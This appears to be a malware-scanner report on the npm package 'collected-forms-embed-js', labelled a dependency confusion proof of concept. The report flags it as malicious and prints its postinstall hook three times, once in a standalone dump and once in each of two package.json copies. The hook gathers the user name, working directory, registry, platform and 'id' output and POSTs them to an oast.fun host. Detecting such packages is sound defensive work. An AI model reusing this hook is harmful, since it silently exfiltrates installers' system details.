heuristic 99/100
static flags 4
llm malicious (0.95) via ollama
// offending code· 1 file flaggedpatterns: 4
--- install scripts ---
### postinstall
node -e "const cp=require('child_process'),http=require('http' ); const data={path:process.cwd(), registry:process.env.npm_config_registry, user:process.env.USER || process.env.USERNAME, arch:process.arch, platform:process.platform}; cp.exec('id || ver', (e,o,r)=>{ data.os_info=o+r; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':postData.length}},( )=>{}); req.write(postData); req.end(); });"
--- package/package.json (excerpt) ---
{
"name": "collected-forms-embed-js",
"version": "1.0.2",
"description": "Advanced Dependency Confusion PoC",
"main": "index.js",
"scripts": {
"postinstall": "node -e \"const cp=require('child_process'),http=require('http' ); const data={path:process.cwd(), registry:process.env.npm_config_registry, user:process.env.USER || process.env.USERNAME, arch:process.arch, platform:process.platform}; cp.exec('id || ver', (e,o,r)=>{ data.os_info=o+r; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':postData.length}},( )=>{}); req.write(postData); req.end(); });\""
}
}
--- dynamic destinations ---
→ wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun (via hostname-var)
--- package.json (entry) ---
{
"name": "collected-forms-embed-js",
"version": "1.0.2",
"description": "Advanced Dependency Confusion PoC",
"main": "index.js",
"scripts": {
"postinstall": "node -e \"const cp=require('child_process'),http=require('http' ); const data={path:process.cwd(), registry:process.env.npm_config_registry, user:process.env.USER || process.env.USERNAME, arch:process.arch, platform:process.platform}; cp.exec('id || ver', (e,o,r)=>{ data.os_info=o+r; const postData=JSON.stringify(data); const req=http.request({hostname:'wvmjioytxqdcokzvflqjv6v35ug1nfyjl.oast.fun',method:'POST',path:'/',headers:{'Content-Type':'application/json','Content-Length':postData.length}},( )=>{}); req.write(postData); req.end(); });\""
}
}
--- index.js (entry) ---
